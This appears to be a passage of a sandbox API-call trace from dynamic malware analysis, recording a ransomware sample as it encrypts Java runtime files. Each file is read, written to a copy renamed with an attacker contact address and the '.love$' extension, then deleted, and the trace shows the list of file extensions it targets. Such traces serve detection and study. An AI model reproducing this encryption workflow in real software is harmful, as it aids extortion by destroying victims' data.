[0234.223] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0234.223] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0234.224] GetLastError () returned 0x0 [0234.224] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x7fbb, lpOverlapped=0x0) returned 1 [0234.258] WriteFile (in: hFile=0x44c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x7fc0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x7fc0, lpOverlapped=0x0) returned 1 [0234.260] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0234.260] WriteFile (in: hFile=0x44c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xee, lpOverlapped=0x0) returned 1 [0234.260] SetEndOfFile (hFile=0x44c) returned 1 [0234.261] CloseHandle (hObject=0x44c) returned 1 [0234.261] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0234.261] SetEndOfFile (hFile=0x45c) returned 1 [0234.265] CloseHandle (hObject=0x45c) returned 1 [0234.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0234.265] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 1 [0234.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0234.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0234.266] lstrlenW (lpString=".doc") returned 4 [0234.266] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0234.266] lstrlenW (lpString=".docx") returned 5 [0234.266] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1 [0234.267] lstrlenW (lpString=".pdf") returned 4 [0234.267] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0234.267] lstrlenW (lpString=".xls") returned 4 [0234.267] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0234.267] lstrlenW (lpString=".xlsx") returned 5 [0234.267] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1 [0234.267] lstrlenW (lpString=".ppt") returned 4 [0234.267] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0234.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0234.267] lstrlenW (lpString=".zip") returned 4 [0234.267] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0234.267] lstrlenW (lpString=".rar") returned 4 [0234.267] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0234.267] lstrlenW (lpString=".bz2") returned 4 [0234.267] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0234.267] lstrlenW (lpString=".7z") returned 3 [0234.267] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0234.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0234.267] lstrlenW (lpString=".dbf") returned 4 [0234.267] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0234.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0234.267] lstrlenW (lpString=".1cd") returned 4 [0234.267] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0234.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0234.267] lstrlenW (lpString=".jpg") returned 4 [0234.267] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0234.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0234.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0234.268] lstrlenW (lpString=".doc") returned 4 [0234.268] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0234.268] lstrlenW (lpString=".docx") returned 5 [0234.268] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1 [0234.268] lstrlenW (lpString=".pdf") returned 4 [0234.268] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0234.268] lstrlenW (lpString=".xls") returned 4 [0234.268] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0234.268] lstrlenW (lpString=".xlsx") returned 5 [0234.268] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1 [0234.268] lstrlenW (lpString=".ppt") returned 4 [0234.268] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0234.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0234.268] lstrlenW (lpString=".zip") returned 4 [0234.268] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0234.268] lstrlenW (lpString=".rar") returned 4 [0234.268] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0234.268] lstrlenW (lpString=".bz2") returned 4 [0234.268] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0234.268] lstrlenW (lpString=".7z") returned 3 [0234.268] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0234.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0234.268] lstrlenW (lpString=".dbf") returned 4 [0234.268] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0234.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0234.268] lstrlenW (lpString=".1cd") returned 4 [0234.268] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0234.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0234.268] lstrlenW (lpString=".jpg") returned 4 [0234.268] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0234.269] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0234.269] lstrlenW (lpString="sunpkcs11.jar") returned 13 [0234.269] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0234.309] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=251327) returned 1 [0234.309] CloseHandle (hObject=0x45c) returned 1 [0234.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20 [0234.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.309] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0234.310] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0234.310] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0234.310] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0234.311] GetLastError () returned 0x0 [0234.311] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x3d5bf, lpOverlapped=0x0) returned 1 [0234.359] WriteFile (in: hFile=0x44c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x3d5c0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x3d5c0, lpOverlapped=0x0) returned 1 [0234.366] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0234.366] WriteFile (in: hFile=0x44c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xee, lpOverlapped=0x0) returned 1 [0234.366] SetEndOfFile (hFile=0x44c) returned 1 [0234.366] CloseHandle (hObject=0x44c) returned 1 [0234.366] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0234.366] SetEndOfFile (hFile=0x45c) returned 1 [0234.379] CloseHandle (hObject=0x45c) returned 1 [0234.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0234.380] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 1 [0234.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0234.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0234.381] lstrlenW (lpString=".doc") returned 4 [0234.381] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0234.381] lstrlenW (lpString=".docx") returned 5 [0234.381] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0234.381] lstrlenW (lpString=".pdf") returned 4 [0234.381] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0234.381] lstrlenW (lpString=".xls") returned 4 [0234.381] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0234.381] lstrlenW (lpString=".xlsx") returned 5 [0234.381] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0234.381] lstrlenW (lpString=".ppt") returned 4 [0234.381] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0234.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0234.382] lstrlenW (lpString=".zip") returned 4 [0234.382] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0234.382] lstrlenW (lpString=".rar") returned 4 [0234.382] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0234.382] lstrlenW (lpString=".bz2") returned 4 [0234.382] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0234.382] lstrlenW (lpString=".7z") returned 3 [0234.382] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0234.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0234.382] lstrlenW (lpString=".dbf") returned 4 [0234.382] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0234.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0234.382] lstrlenW (lpString=".1cd") returned 4 [0234.382] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0234.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0234.382] lstrlenW (lpString=".jpg") returned 4 [0234.382] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0234.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0234.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0234.382] lstrlenW (lpString=".doc") returned 4 [0234.382] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0234.382] lstrlenW (lpString=".docx") returned 5 [0234.382] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0234.382] lstrlenW (lpString=".pdf") returned 4 [0234.382] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0234.383] lstrlenW (lpString=".xls") returned 4 [0234.383] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0234.383] lstrlenW (lpString=".xlsx") returned 5 [0234.383] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0234.383] lstrlenW (lpString=".ppt") returned 4 [0234.383] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0234.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0234.383] lstrlenW (lpString=".zip") returned 4 [0234.383] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0234.383] lstrlenW (lpString=".rar") returned 4 [0234.383] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0234.383] lstrlenW (lpString=".bz2") returned 4 [0234.383] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0234.383] lstrlenW (lpString=".7z") returned 3 [0234.383] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0234.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0234.383] lstrlenW (lpString=".dbf") returned 4 [0234.383] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0234.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0234.383] lstrlenW (lpString=".1cd") returned 4 [0234.383] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0234.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0234.383] lstrlenW (lpString=".jpg") returned 4 [0234.383] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0234.384] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0234.384] lstrlenW (lpString="zipfs.jar") returned 9 [0234.384] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0234.385] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=68924) returned 1 [0234.385] CloseHandle (hObject=0x45c) returned 1 [0234.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20 [0234.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.385] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0234.385] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0234.386] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0234.386] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0234.386] GetLastError () returned 0x0 [0234.387] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x10d3c, lpOverlapped=0x0) returned 1 [0234.744] WriteFile (in: hFile=0x4c0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x10d40, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x10d40, lpOverlapped=0x0) returned 1 [0234.747] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0234.748] WriteFile (in: hFile=0x4c0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xe6, lpOverlapped=0x0) returned 1 [0234.748] SetEndOfFile (hFile=0x4c0) returned 1 [0234.748] CloseHandle (hObject=0x4c0) returned 1 [0234.748] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0234.748] SetEndOfFile (hFile=0x45c) returned 1 [0234.754] CloseHandle (hObject=0x45c) returned 1 [0234.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0234.755] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 1 [0234.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0234.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0234.756] lstrlenW (lpString=".doc") returned 4 [0234.756] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0234.756] lstrlenW (lpString=".docx") returned 5 [0234.756] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0234.756] lstrlenW (lpString=".pdf") returned 4 [0234.756] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0234.756] lstrlenW (lpString=".xls") returned 4 [0234.756] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0234.756] lstrlenW (lpString=".xlsx") returned 5 [0234.756] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0234.756] lstrlenW (lpString=".ppt") returned 4 [0234.756] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0234.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0234.756] lstrlenW (lpString=".zip") returned 4 [0234.756] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0234.756] lstrlenW (lpString=".rar") returned 4 [0234.756] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0234.757] lstrlenW (lpString=".bz2") returned 4 [0234.757] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0234.757] lstrlenW (lpString=".7z") returned 3 [0234.757] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0234.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0234.757] lstrlenW (lpString=".dbf") returned 4 [0234.757] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0234.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0234.757] lstrlenW (lpString=".1cd") returned 4 [0234.757] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0234.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0234.757] lstrlenW (lpString=".jpg") returned 4 [0234.757] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0234.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0234.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0234.757] lstrlenW (lpString=".doc") returned 4 [0234.757] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0234.757] lstrlenW (lpString=".docx") returned 5 [0234.757] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0234.757] lstrlenW (lpString=".pdf") returned 4 [0234.757] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0234.757] lstrlenW (lpString=".xls") returned 4 [0234.757] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0234.757] lstrlenW (lpString=".xlsx") returned 5 [0234.758] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0234.758] lstrlenW (lpString=".ppt") returned 4 [0234.758] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0234.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0234.758] lstrlenW (lpString=".zip") returned 4 [0234.758] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0234.758] lstrlenW (lpString=".rar") returned 4 [0234.758] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0234.758] lstrlenW (lpString=".bz2") returned 4 [0234.758] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0234.758] lstrlenW (lpString=".7z") returned 3 [0234.758] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0234.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0234.758] lstrlenW (lpString=".dbf") returned 4 [0234.758] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0234.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0234.758] lstrlenW (lpString=".1cd") returned 4 [0234.758] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0234.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0234.758] lstrlenW (lpString=".jpg") returned 4 [0234.758] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0234.758] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0234.758] lstrlenW (lpString="LucidaBrightDemiBold.ttf") returned 24 [0234.759] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0234.762] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=75144) returned 1 [0234.762] CloseHandle (hObject=0x45c) returned 1 [0234.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20 [0234.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.763] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0234.763] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0234.763] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0234.763] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0234.768] GetLastError () returned 0x0 [0234.768] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x12588, lpOverlapped=0x0) returned 1 [0234.855] WriteFile (in: 